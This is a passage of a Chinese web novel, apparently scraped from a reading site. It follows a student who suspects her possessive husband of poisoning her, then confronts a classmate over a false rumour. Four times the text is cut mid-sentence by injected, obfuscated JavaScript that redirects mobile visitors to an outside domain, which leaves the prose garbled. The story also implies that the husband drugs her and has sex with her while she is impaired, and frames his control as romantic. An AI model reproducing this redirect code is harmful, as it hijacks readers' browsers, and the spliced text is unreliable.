根据她的经验,如果这个时候无视沈寂,那之后只会得到他更强烈的报复。 她只能好声好气道:“我家住在村里,房子也不大,冬天会很冷,如果你去了生病感冒了怎么办?” 沈寂闻言看了她一眼,掏出手机准备定行程,“既然这样,那你今年也不要回去了,我们去找个小岛度假吧。” 兰稚青闻言连忙摇头,“不行,我要回去。” “为什么?” 沈寂对此不依不饶,反问道:“万一你回去之后生病感冒了怎么办?” 兰稚青闻言哽住,但还是坚持道:“可是过年我总要回家吧。” “那你就把我一个人留在这里?” “你不是已经说了要去小岛度假吗?” “我不要去小岛,我要和你一起回家。” “可是我家住在村里很冷,你不能和我一起回家。” “那既然这样我让人把你父母一起接过来,我们就在A市过年,或者一起出去度假。” “不行,我们家祖训就是要在村里过年!而且我爸妈又不知道我们已经结婚了。” “那你就带着我一起回去见你父母,我们回村里度假也是一样的。” “村里又不是岛上,没有沙滩阳光大海椰子树,回去之后很无聊的,根本就不好玩。” “既然不好玩那你就不要回去了,我们去小岛上享受沙滩阳光大海椰子树。” …… 车轱辘话说了一遍又一遍,兰稚青说得口干舌燥,直接端起放在旁边的银耳雪梨一饮而尽。 她拿纸巾擦了擦嘴,擦到一半动作却猛然僵住,终于后知后觉意识到了问题所在。 坏了。 刚刚忘记让沈寂先试毒了。 这该不会也是沈寂故意设计的吧? 兰稚青一时间欲哭无泪,她闭了闭眼,只能给沈寂下最后通牒。 “总之,不管怎样,我今年都不会和你一起过年的。” 沈寂难以置信地望着她,那双漂亮的脸上满是愤怒与委屈,仿佛兰稚青的行为是什么十恶不赦的恶举。 “我觉得你对我好像和以前不一样了。” 沈寂抿了抿唇,不太高兴道:“我们之前在线上聊天的时候你明明对我很热情的。” “你不让我办婚礼,不让我看你的手机,不让我去学校接你,也不带我回家,我们又不是在偷情!” 兰稚青对此无动于衷,冷漠道:“不是你当初说只要结婚就好,公不公开都无所谓的吗?” “你什么时候这么听我的话了。” 沈寂闻言并不服气,“我昨晚还说让你坐到我脸上你怎么不听?” “……这根本不一样!” 兰稚青彻底忍无可忍,她实在是伺候不下去沈寂大小姐的胡搅蛮缠,反正那碗汤她也已经喝下去了,就算是里面真的有毒,现在死了也无所谓,总之她是不想再和沈寂这个神经病继续浪费时间。 她抓起自己的手机起身上楼,完全无视了身后满脸失落的沈寂。 小组作业的群聊里其他组员还在热火朝天地聊着天,兰稚青翻了好久才翻到了她所需要的电子版资料。 作为一个合格的大学生,她的合作理念就是即使要死也绝不做令人唾弃的小组作业摸鱼人,哪怕是在死前,她也要把作业给交上。 兰稚青打开电脑噼里啪啦敲着键盘,上楼的沈寂听到了动静,他敲了敲书房的门,神色已经恢复了往日的淡定。 “宝宝,我们谈谈……” “没空。” 兰稚青闻言头都没抬,随口回应道:“我在忙,有事一会儿再说。” 沈寂闻言顿时僵住,他固执地站在书房的门口,似乎还在等待着兰稚青回心转意。 然而这一次他显然是失算了,已经沉浸在作业中的兰稚青连个眼神都懒得分给他。 沈寂下意识抿了抿唇,他冷哼了一声,终于毫不犹豫转身离开。 坏兔子! 得到了就不珍惜的坏兔子! 沈寂气冲冲地朝楼上走去,在他回到卧室之前,他特地看了一眼时间。 他和外面那种狐狸精不一样,他绝对不是一个小肚鸡肠的男人。 现在是下午四点三十八分,如果兰稚青在五点前过来找他,那他就原谅她今天的所作所为。 沈寂冷脸给兰稚青的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880341|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩偶兔子洗了澡,冷脸给它烘干换棉花做造型,冷脸给它套上了新衣服。 他要让兰稚青晚上抱着它睡觉的时候再也感受不到他加注在里面的爱和幸福,他要让兰稚青切身实际感受到她敢对他始乱终弃的代价! 沈寂冷着脸看着手机上的时间到了五点。 兰稚青还是没有过来。 他皱了皱眉,默默又把心里的底线时间改成了五点半。 一定是课上布置的作业太难了,不然她不可能会不过来找他。 五点半。 兰稚青还是没有来。 沈寂脸色沉了沉,他的视线扫过那只被打扮得漂漂亮亮的兔子玩偶,沉默了许久还是把它抱了起来。 算了,父母冷战也不能伤害到孩子,他可不是那种坏爸爸。 他摸了摸玩偶兔子的耳朵,强调道:“我们妮妮是好兔子,只有mommy才是坏兔子。” 六点。 兰稚青终于来了。 沈寂端坐在床上等着她的到来,他的眼神平静中带着一丝委屈,委屈中带着一丝埋怨,埋怨中带着一丝不易察觉的爱意。 虽然有点难懂,但是沈寂确实是这么觉得的。 他看到兰稚青推门而入,轻咳了一声准备接受她的道歉。 然而兰稚青却只是回来拿了一下自己的电脑充电器,而后头也不回地转身离开。 沈寂:“……” 坏女人! 这明显就是不折不扣的坏女人! 沈寂终于彻底忍无可忍,兰稚青今天的所作所为已经让他开始感到绝望。 他起身靠在窗边看着外面的落雪,他曾经亲手种下的红玫瑰早已淹没在这场如期而至的寒冷大雪中。就像是他和兰稚青的感情一样,哪怕他机关算尽,也还是没能融化兰稚青的心。 沈寂的神色在昏暗的灯光下变得模糊,那双漂亮的眼眸逐渐变得阴狠暴戾,像是一条吐着信子的毒蛇,下一秒就要结束猎物的生命。 他慢吞吞离开了卧室,脚步放得很轻,直到在门前站定时,他还仍在犹豫。 有些事情一旦做下,那就再也无法回头,他必须要提前做好心理准备,毕竟这对兰稚青来说,可能是毁灭性的打击。 如果不是因为被逼到万不得已,他是不想对她做出这么残忍的事情的。 但是没办法,恨永远比爱长久,如果兰稚青做不到爱他,那让她老老实实恨他也是个不错的选择。 哪怕他得不到她的心,那他也要得到她的…… “宝宝,是你先不要我的,你不仁,那就不要怪我不义了……” 沈寂冷着脸走进房间,毫不犹豫拉开面前的抽屉。 而后—— 恶狠狠地拿走了兰稚青最喜欢的小恐龙内裤。 13. 第 13 章 兰稚青确认无误后,把自己完成的部分发给作为组长的路锡鸣,这才终于长舒一口气。 她去年就已经修过一遍这门课程,作业自然也是得心应手。 兰稚青看了一眼时间,三个小时过去了,她似乎并没有感到身体有什么不舒服的地方,更没有像她想象中的暴毙身亡。 看来那碗银耳汤应该是安全无毒的。 无毒那就更麻烦了…… 兰稚青揉了揉有些酸疼的肩颈,默默合上了电脑的屏幕。 她靠在椅背上沉默了许久,想到今天下午和沈寂发生的冲突,思考一会儿又该如何去面对他。 要是真的被毒死了,她也不用考虑那么多,偏偏她现在还活着,活着那她就要继续和沈寂相处在同一屋檐下,继续担心他会不会突然对自己下手。 兰稚青有些烦躁地揉了揉自己的太阳穴,她的手机刚刚结束专注模式,之前被挡住的消息一条接着一条地往外冒。 除去学校的事情外,剩下的就是家里发来的消息。 兰母给她打了好几通电话,后来发现打不通干脆又开始发语音,一边说让兰稚青找男朋友的时候要好好睁大眼,另一边又说兰父身体不好,家里需要他们来帮衬。 “青青,你要是有男朋友一定要和家里说啊,你一个小姑娘拿不准主意的,爸爸妈妈帮你把把关。” 把把关……她现在婚都已经结了,做什么都已经晚了。 她光是想也知道自己如果真的带沈寂回去之后会发生什么。 她的父母会把这个财神爷如视上宾,指望着他对这个家庭挥金如土,她那个整天不着调的哥哥和一天到晚不学无术的弟弟会像蚂蟥一样牢牢趴在自己身上吸血。 沈寂会成为他们新的家人,而她则会变成笼络这个金主的工具。 兰稚青对自己过于清晰的认知感到悲哀,她无法摆脱困在自己身上的原罪,只能想办法去隐藏和掩饰。 她明明不擅长撒谎,可是却在提及自己家庭的时候可以面不改色讲述着虚幻的幸福。 当同学抱怨自己假期也要被爸妈喊起来吃早饭时,兰稚青没办法实话实说她在家里每天早起准备早餐,只能跟着附和自己假期也总是起不来,经常忘记吃饭。 当室友互相分享家里寄过来的各种土特产时,兰稚青没办法说自己的父母完全不关心自己的生活近况,她只能偷偷在网上买好,而后假装是家里给自己寄的。 即使当初在和Schlange无话不谈的时候,她也对自己的家庭加以美化,只因为这是伴生在她身上的丑陋,她不想承认在这个世界上竟然连家人都不爱她。 兰稚青不是没想过要和家里断绝关系,她的户口已经迁了出来,也即将从学校毕业,只要她想,她完全可以让家里人找不到她。 可是断绝关系后又会怎样呢…… 她没有朋友,没有家人,那她剩下的还有什么…… 只有一个心怀鬼胎的伴侣。 兰稚青关掉手机,趴在桌子上再度开始思考自己和沈寂之间的关系。 平心而论,沈寂除了控制欲强,喜欢黏人,爱吃醋,小心眼,大小姐脾气,喜欢无理取闹,经常偷拿她东西,作风奢侈,挑三拣四,洁癖严重之外,勉强也算是一个合格的伴侣。 或许她不应该这么疑神疑鬼,即使家里有带血的衬衫,消失的菜刀和来源神秘的毒药,以及沈寂书架上摆着的各种解剖书籍,可能也只是偶然。 她总不能一直这么提心吊胆地过日子,实在不行还是和沈寂直接摊牌好了。 兰稚青脑子一片混乱,她的眼睛因为长时间注视屏幕而变得干涩,本想把资料打印出来,可是手指却被锋利的纸张划破。 殷红的鲜血沁在了白纸上,像是水笔甩出来的红色墨点,刺眼无比。 她怔了怔,下意识用纸巾包住了自己的手指,手忙脚乱想要拉开抽屉拿创可贴包扎。 她明明记得上一次用完之后是放在这里的…… 兰稚青在抽屉里四处翻找,可是却在抽屉的深处翻到了一个透明的小瓶子。 “这又是什么东西……” 兰稚青拿起瓶子对着光看了一眼,里面装着晶莹剔透的不知名液体,应该是某种药品,光凭颜色和色泽似乎看不出什么不对。 她犹豫了一下,没有选择再放回原位,而是把它仔细放进自己的包里收好,转而将书房又恢复了原状。 直到做完这一切,确认自己没有任何纰漏,她才终于起身从书房离开。 今天刚刚和沈寂吵了架,按照正常的相处模式来说,她今晚去客房睡比较保险。 可是兰稚青在抓住客房门把的时候才意识到不对。 ……服了。 沈寂竟然把家里所有客房的门都上了锁。 果然是大小姐脾气。 兰稚青不耐烦地皱了皱眉,转身就打算下楼去客厅睡沙发。 “要去哪里?” 不知何时出现的沈寂靠在楼梯旁静静注视着她,他平静问道:“你又打算丢下我一个人吗?” 兰稚青闻言一怔,她下意识抬头看向了沈寂,昏暗的光线下,沈寂的半张脸几乎都隐匿在阴影之中,那双漂亮的眼睛平静地望着她,在明暗交错中,像是在这栋别墅里徘徊的艳鬼。 她很想问问沈寂,她什么时候丢下他一个人了。 可是她仅存的理智告诉她自己不能这样说,因为她只要开口,那么沈大小姐只会变得更加生气。 “我以为你已经睡了,怕把你吵醒。” 兰稚青放轻了声音,主动向沈寂服软,慢吞吞走上了楼梯。 沈寂的脸色终于好看了一点,只不过他还不愿意这么轻而易举原谅兰稚青对他的冷淡。 他没有向以前一样密不透风地把抱她起来,就连牵手也不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880342|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,只是轻轻扯着兰稚青睡衣的袖口,拉着她朝卧室走去。 兰稚青乖乖跟在他的身后,她瞥了一眼摆在床头的玩偶兔子,看出沈寂帮它洗好了澡换过了棉花。 “为什么这么过分……” 沈寂突然把她压在床上亲吻,他积攒已久的委屈和不满似乎都在这一刻得到了宣泄,他啃噬着她的唇瓣,含糊不清道:“你为什么要欺负我……” 兰稚青被他亲的有些喘不过气来,闻言不由得心想,现在到底是谁欺负谁。 她虽然不回答他的问题,但也没有把他推开,反而是乖乖窝在他的怀里张开嘴巴让他亲,甚至偶尔还会有些许的回应。 如果放在平时,沈寂肯定会高兴得再过一个纪念日。 可是现在,他只觉得这是兰稚青想要把她糊弄过去的手段。 沈寂眸色微沉,他捧着兰稚青的脸颊,牙齿微微用力咬破了她的唇瓣。 兰稚青一时吃痛,她下意识想要推开沈寂,可是没想到沈寂这次竟然真的这么好推开。 他舔了一下自己嘴唇上沾到的鲜血,像是一只刚刚吸食完血液的吸血鬼,在兰稚青诧异的眼神中,他自顾自躺在床上盖好被子,转身不再去看兰稚青。 兰稚青有些茫然,她摸了摸自己破掉的嘴唇,伤口虽然小,但还是泛着丝丝的疼痛。 她侧头看着沈寂的背影,总觉得他今天格外莫名其妙,估计还在为今天下午的事情置气。 兰稚青懒得浪费时间去哄他,沈寂这样反而更合她心意,至于晚上会不会再被愤怒的沈寂偷偷灭口,那就已经是另外需要考虑的事情了。 或许是因为今天突然劫后余生,也或许是因为她已经拿到了心心念念的游戏皮肤,她突然对生死也开始看淡了。 兰稚青抱着自己的玩偶兔子闭上眼睛,准备好好享受自己难得的悠闲睡眠。 …… 是她的错觉吗,今天房间里的温度是不是太高了…… 兰稚青翻了个身,有些烦躁地把身上盖着的被子掀开。 好热…… 为什么会突然这么热,好像血管里的血液也跟着燃烧了起来…… 兰稚青扯了扯自己的睡衣领口,摸索着解开了上面的两粒扣子。 明明她已经热到这种程度了,可是皮肤却依旧干燥,身上一点汗都没有流。 她终于意识到自己所感知到的热是从何而来,不是外界温度的变化,而是她的体内像是燃起了灼热的火苗,火焰烧干净了她的理智,逐渐让她开始感到空虚和迷茫。 好难受…… 到底为什么会变成这样…… 兰稚青抱着兔子玩偶蜷缩成一团,直到一只微凉的手轻轻落在了她的腰间。 她下意识回过了头,在黑暗之中,沈寂的眼睛像是某种兽类的竖瞳。 “亲爱的。” 他温柔问道:“需要帮忙吗?” 14. 第 14 章 兰稚青总觉得自己又被沈寂算计了。 可是到底是什么时候…… 兰稚青大脑一片混乱,她像是一只无尾熊一样紧紧攀附在沈寂的身上,毫无章法地低头吻他,像是一只喝醉的小兽在探索自己的领地。 沈寂任由她在自己身上作乱,他身上穿着的睡衣早就已经被兰稚青扯开,崩开的扣子落在地上发出清脆的响声。 房间里只开了床头的壁灯,沈寂的脸庞在柔和灯光下泛着暖意,兰稚青看到他那张脸总有一种莫名的冲动。 她紧紧注视着沈寂,带着热度的手轻抚上了沈寂的脸颊。 沈寂脸上带着若有若无的笑意,刚刚想要开口,兰稚青却已经一巴掌扇到了他的脸上。 她下手的力度并不算重,可是耐不住沈寂的肤色太白,这一巴掌下去,那张漂亮的脸蛋上登时浮现出了红痕。 沈寂瞳孔紧缩,他难以置信地看着她,眼中的神色由诧异逐渐变为兴奋。 “谁允许你长得这么漂亮的……” 兰稚青狠狠咬了他的脸颊一口,含糊不清道:“为什么这么不公平,为什么你又有钱又好看……” 上天真是太不公平了,爱和钱都流向了最不缺的人。 “宝宝,都是你的,这些全都是你的,我的钱,我的人,全部都是你的……。” 沈寂兴奋得眼睛不自觉变为竖瞳,兰稚青说的每一句话,她的每一次触碰都像是再叠加他的快感。 好喜欢…… 真的好喜欢…… 兰稚青似乎敏锐察觉到了哪里不对,她的神智清醒了一瞬,下意识想要逃跑,可是却被沈寂牢牢按在了怀里。 两人的处境在此刻再度发生了对调,兰稚青被沈寂压在了柔软的被褥中,她有些迷茫地眨了眨眼,话还没来得及说出口就被沈寂堵住。 室内的温度还在不断上升。 …… “宝宝……” 沈寂紧紧抱着她,软着嗓子试探道:“我想跟你在一起,你带我一起回家,好不好……” 昏昏欲睡的兰稚青闻言猛然清醒,她睁开眼睛推开了沈寂,坚持道:“……不可能!” 沈寂猝不及防被她推开,他神色慌乱了一瞬,解释道:“那我送你回去好不好,我把你送回去,我不去你家……不会让你家里人发现……” “不行!我都说了多少次不行不行!难道你听不懂吗!” 兰稚青打断了沈寂的话,她积攒已久的情绪也终于在这个时候爆发,来自家里的压力,对于生死的恐惧,以及沈寂步步紧逼的态度,都让她觉得无比崩溃。 她像是一根坠着重物的细绳,在压力的不断累计之下终于到达了临界点。 “为什么总是要逼我……为什么就不能放过我……” 兰稚青知道在这个时候因为这种原因嚎啕大哭真的很丢人,可是她控制不住自己的眼泪。 沈寂明显也没想到兰稚青的反应会这么大,他手忙脚乱帮兰稚青擦拭着眼泪,抱着她不停道歉:“对不起宝宝,你别哭……是我错了,我下次再也不问了……” “对不起,是我不好,你不想带我回去那我就乖乖待在家里等你回来,我以后都听你的……” 兰稚青在他的安抚下渐渐平静下来,或者更加准确来说,身体和心理上的过度疲惫让她来不及思考那么多,闭上眼睛再度又陷入了沉睡。 听到兰稚青没了声音,沈寂低头看了她一眼,发现她只是睡着了,这才终于松了一口气。 他轻轻亲了亲她还带着泪痕的脸颊,轻声道:“乖宝宝,怎么就哭得这么可怜……” 以后要记住了,跟她一起回老家这件事往后都不要再提了。 卧室的床凌乱不堪,确实不太适合在这里睡。 沈寂抱着兰稚青去浴室洗澡,她睡得很沉,完全没有因为他的动作而被吵醒。 直到沈寂把她抱到了客房的床上,她才终于有了些许的反应,迷迷糊糊道:“妮妮……” “差点忘记了。” 沈寂见状轻轻叹了口气,他重新回到房间把兰稚青的兔子玩偶拿过来塞进她的怀里。 兰稚青在抱住自己熟悉的兔子玩偶后终于彻底安静下来。 沈寂坐在床边静静看着他,最后轻声道:“做个好梦。” …… “兰稚青……兰稚青?” 兰稚青听到声音猛然打了个激灵,她茫然看向突然坐在自己旁边的寸头男生,轻声道:“怎么了?” “高中同学会好不容易能聚聚,你怎么一直坐在这里发呆啊。” 寸头男殷勤帮她端了杯果汁过来,笑嘻嘻问道:“你还记得我吧,我是于琦,高三一直坐在你后桌,之前我给你写过情书的。” 兰稚青闻言有些茫然地抬起了头,她盯着于琦看了许久,终于记起了对方的身份。 “……是你啊。” 正逢国庆连假,兰稚青的高中举办了五十周年校庆,邀请之前的毕业生回校参观,兰稚青的高中班主任明年就要退休,班级群里大家一拍即合,干脆搞了一个同学聚会。 虽然里面的大部分人目前都还没有毕业,但是社会人士的作风已经初露端倪,大家嘴里讨论的不再是哪个明星上了新的综艺,哪个歌手又发了新歌。 现在被提及更多的是工作实习和考研考公,甚至还有两个同学趁着这个时候发了请柬,一个月底订婚,一个下月结婚。 兰稚青本来在高中时期就只顾着埋头学习,她没有什么关系特别好的朋友,也插不进其他人的话题,如果不是因为她试图躲避沈寂的频繁联系,或许她根本不会来参加这次的同学会。 Schlange…… 她怎么就脑子昏头亲了沈寂一口,现在给自己惹了一身麻烦。 兰稚青无意识咬着下唇,她第一次面对这种棘手的情况,沈寂说自己是初吻,执意要让她负责,她很想说不过就是亲了个嘴,但是这种话似乎又显得她像个渣女。 到现在她仍然不敢回复沈寂的任何消息,又害怕沈寂去学校找她,只能像是缩头乌龟一样跑回家躲起来。 “兰稚青……你在听我说话吗?” 于琦见兰稚青又在发呆,他微不可察地皱了皱眉,伸手敲了敲她面前的桌子。 “……不好意思,我刚刚在想事情。” 兰稚青如梦初醒,她面带歉意地看了于琦一眼,询问道:“你刚刚说什么?” “你还是这么喜欢发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880343|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆啊。” 于琦闻言有些无奈地笑了笑,怀念道:“我记得你上高中的时候就这样,上体育课的时候也不和大家一起玩,自己躲在阴凉地方写作业。” “不过这也正常,你是学霸,听说你现在在A大上学?” 兰稚青对他莫名其妙的熟稔语气觉得奇怪,但还是轻轻点了点头,“对,现在已经大四了。” “A大那是名校啊,你毕业之后是打算继续读书还是工作?” “……应该会去工作吧。” “那也挺好的,A大出来的总比我们这些普通本科生要强。” 于琦闻言叹了口气,颇为感慨道:“我现在就后悔自己当初没好好学习,也找不到什么合适的工作,只能托家里帮忙,在外企苦哈哈地实习当牛马。” 兰稚青闻言微不可察地皱了皱眉,她敏锐品出了于琦话语中的炫耀,出于社交礼貌,她并没有拆穿,而是顺着对方的心意回道:“外企也挺好的。” “待遇是不错,不过和前些年也没法比了。” 于琦顿了顿,试探开口问道:“你毕业之后是打算留在A市吗,还是打算回来?” “还不确定……到时候再说吧。” 兰稚青实在是不太适应这种被人问东问西的社交方式,她尽量避免透露自己的个人信息,但是挡不住于琦过于强烈的分享欲。 “我转正后应该会调去A市分公司,你要是留在A市的话我们老同学之前还可以多照应照应……” “照应谁啊于琦,好好的同学会你自己躲起来谈情说爱对吧?” 于琦的话还没来得及说完,几个男生就已经嬉笑着凑了过来打断了他们的对话。 “别胡说,一群神经病……稚青你别介意,他们嘴上没个把门儿的。” 于琦斜了他们一眼,兰稚青听到他的称呼一时间鸡皮疙瘩都起来了,她不愿意再次多留,借口脱身道:“我过去和张老师打声招呼。” “哎,别走啊……” 见兰稚青就这么直接走了,说话的男生不由得轻啧了一声,他拍了拍于琦的肩膀,感慨道:“果然是女大十八变,兰稚青高中时阴森森瘦巴巴的,去了大城市现在也会打扮了,你小子艳福不浅啊。” “滚,你赶紧少说两句吧。” 兰稚青说是要去打招呼,可实际上围在班主任身边的人一层接着一层,他们谈笑风生,她根本就插不上嘴,只能换了一个角落玩手机。 她打开社交软件,盯着沈寂昨晚发的最后一条消息发呆。 【我们能见面好好聊一聊吗?】 兰稚青犹豫了片刻,还是决定回复。 我是小皇帝(约稿请看置顶):【抱歉,我现在不在A市。】 Schlange:【不用抱歉,我现在也在外面出差,你大概什么时候回来,我们可以约一个时间见面。】 Schlange:【你现在方便吗,可以打电话吗?】 我是小皇帝(约稿请看置顶):【不太方便,我在参加同学聚会,具体什么时候回学校我也不太确定。】 Schlange:【……现在连打电话都不可以了吗?】 Schlange:【明明是你先吻我的……】 15. 第 15 章 兰稚青看到沈寂发来的消息不免有些头疼,她生怕沈寂会不相信,只能现场拍了两张聚会的照片给沈寂发了过去,好借此佐证自己的说法。 沈寂不知道有没有看到她发过去的照片,他许久都没有回复,兰稚青以为他是去忙别的事情了,见状倒是松了口气,刚刚想要退出软件,身后却突然有人拍了拍她的肩膀。 她吓了一大跳,下意识把手中的手机锁屏,回头却看到是几个熟悉的女同学站在他的身后,此时正笑意盈盈地看着她。 “青青,好久不见啊。” “好久不见。” 兰稚青笑了笑,友善和对方打了招呼,她高中时沉默寡言,不喜欢说话,大家对她了解都不多,现在见她上了大学后开朗不少,也愿意和其他人有交流,所以才会主动过来搭话。 虽然以前大家算不上至交好友,但好歹是相处过两年的同班同学,聊了几句天就很快熟络了起来。 班长乔茜刚刚就注意到了兰稚青和于琦那边的动静,她主动坐到了兰稚青的身旁,八卦道:“你和于琦是旧情复燃了吗?” 兰稚青闻言愣了一下,茫然道:“旧情复燃?” 乔茜以为她是害羞,笑眯眯道:“对啊,之前的同学会你一直都不肯来,我们一直以为你是不愿意看见于琦。” “现在看到你们相处的还不错我们就放心了,当年的大冒险也算是成全你们了。” “什么大冒险?” 兰稚青眉头皱了皱,她似乎意识到了什么,神色陡然变得严肃了起来,反问道:“大冒险的内容和我有关吗?是于琦玩的?” “……啊?” 乔茜闻言愣了一下,脸上不由得闪过些许的诧异,奇怪道:“你不知道吗?” 她有些犹豫地瞥了她一眼,试探道:“就是当时高考前于琦给你写情书……当时就是他们打赌玩真心话大冒险,说输了就给你写情书,你……不会一直不知道这件事吧?” 兰稚青神色微沉,冷冰冰道:“不好意思,我确实不知道。” 乔茜没想到兰稚青真的会对这件事毫不知情,旁边的几个女生闻言更是面面相觑,刚刚还想要八卦的心思陡然间烟消云散,一时间都变得坐立难安。 “青青,不好意思啊……这件事是于琦在谢师宴的时候说的,那个时候你没来,我们以为于琦已经跟你说清楚了。” “对啊,我们以为这件事你是知道的。” “都怪于琦,他说你高考完还给他写了情书当回信,后来你们又没在一起,我们以为他已经说实话了,他这人怎么这样啊……” 乔茜旁边的女生嘴快抱怨了一句,乔茜闻言连忙用手肘碰了碰她,示意她赶紧闭嘴。 “……我什么时候给他写过情书了?” 兰稚青闻言几乎不敢相信自己的耳朵,她露出了一个皮笑肉不笑的笑容,“我看起来很像盲人吗?” 她高中时一心想着好好读书逃离自己的原生家庭,根本对谈恋爱没有任何兴趣,如果不是因为于琦今天突然过来找她聊天,她可能到死都不会记得还有这么一个人物。 要说回信她的确是给于琦写过。 她不喜欢于琦,但却尊重这种纯粹的感情,甚至担心自己的直接拒绝会影响于琦的高考状态,所以在结束考试后才非常郑重地写了一封长信拒绝他。 可谁知道于琦这个脑残竟然对外说她写的是情书。 如果说她今天出门的时候还觉得同学聚会实在无趣至极,那现在就开始庆幸幸好自己今天来了,不然这么大一口黑锅背在身上,她得提前三十年驼背。 兰稚青越想越气,她远远看着于琦在那里和几个兄弟说笑,丝毫不顾及其他人的看法,猛然间起身越过人群走到他的面前。 “稚青?” 于琦看到气冲冲走到自己面前的兰稚青,他愣了一下,笑道:“刚刚我们还聊到你了呢,你……” “我什么时候给你写过情书?” 兰稚青神色冷淡,她直接打断了于琦的话,质问道:“你现在告诉我,我什么时候给你这个没长相没身材没人品没素质的脑残写过情书。” 周遭在一瞬间陷入了寂静,所有人都不约而同回头看向了他们的方向,眼神中满是诧异,似乎还没搞清楚到底发生了什么。 于琦也没想到兰稚青会突然跑过来当众质问他这件事,他的脸上闪过了一丝心虚,对上周遭各种八卦的探究视线,他压低了声音,低声道:“有话我们出去说,现在是同学聚会,别在这里吵。” “为什么要出去说,我现在在这里问你就是为了让所有老师同学都听得清清楚楚!” 兰稚青扬高声音,再度重复道:“请你当着大家的面回答我,你对外宣扬我在高考完之后给你写过情书做回信,我到底什么时候这么做过!” 兰稚青的质问无比直白,于琦被迫接受着在场所有人的瞩目,他一时间面色涨红,明显有些下不来台。 当初他确实在高考完收到了兰稚青的拒绝长信,于琦自恃自己也算是个高富帅,平时女朋友更是没缺过,他不想被别人知道自己竟然被兰稚青这么一个不起眼的无名小卒给拒绝,所以才会对外宣称兰稚青给他写了情书。 反正兰稚青没什么朋友,也很少会参加同学聚会,这件事偶尔会成为他们茶余饭后的谈资,大家非常默契地认为兰稚青不露面是因为介怀当年的事情。 可于琦万万没想到时隔这么长时间,这件事会被再度旧事重提,而一向软弱呆板的兰稚青甚至在大庭广众之下落他的面子。 站在于琦旁边的男生见状下意识看向了他,吃惊道:“不是……琦哥,这到底是怎么回事啊?” “没事,就是我和稚青有些误会。” 于琦心中虽然有些慌乱,但还是勉强保持着自己脸上的表情,他放柔了语气,开口道:“稚青,我们出去说吧,我和你好好解释……” “你要解释什么?” 兰稚青闻言神色不变,她轻嗤了一声,揭穿道:“你是想说你自己为了面子在外面给我造谣,破坏我的名誉吗?” “兰稚青,你是不是脑子有毛病啊!这点破事至于在这里大声嚷嚷吗?” 于琦被兰稚青拆穿,他的脸面有些挂不住,梗着脖子坚持道:“就是你给我写了情书,高考之后你写的!我记得清清楚楚!” “我高考完给你写了情书?” 兰稚青冷笑反问道:“你是不识字吗,你在高考前一天大冒险给我写情书,我那封回信是在拒绝你,所有经过我手的文字都有记录,要不要我给你找找证据。” “我……我怎么知道那是拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880344|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝,我当时都没拆开看就扔了。” 于琦明显心理素质不佳,他倒是想把锅都推到兰稚青的身上,可是又怕兰稚青真的保留了四年前的证据,他神色隐隐有些慌乱,只能拼了命地给自己挽尊。 “你要是不喜欢我你当时拒绝不就行了,还不是在那里装清高!” 兰稚青闻言深吸了一口气,整个人几乎已经被气到了临界点。 “为了你?装清高?你多大脸啊。” “我当时不拒绝只是因为我比你多点良心,但是现在想想根本没必要,毕竟以你的智商和生活勉强可以自理的智障也差不了多少,高考怎么考都是那几分,连下降空间都没有了。” “你少在这里胡说八道!” 于琦从来没想到当年安静沉默的兰稚青会变得这么伶牙俐齿,他骂道:“是你自己没点自知之明,你也不看看自己是个什么货色,电影里的贞子都比你顺眼。” “于琦,你别太过分了!” 旁边的乔茜和其他几个女生闻言都听不下去,主动帮兰稚青打抱不平道:“这件事情本来就是你做的不对,你不道歉就算了,凭什么骂人!” “就是啊,高考前干这种事,这不就是纯纯搞人心态!要不是兰稚青学习够好那就是耽误一辈子的事情。” 一旁的老师一开始还没摸清楚到底发生了什么,听完于琦和兰稚青一来一往的骂战也大概明白了些许。 她皱了皱眉,也开口调和道:“于琦,这件事是你不对,你赶紧和稚青道个歉,大家都是同学,有误会好好解开就是了,闹这么难看做什么。” “我和她道歉?” 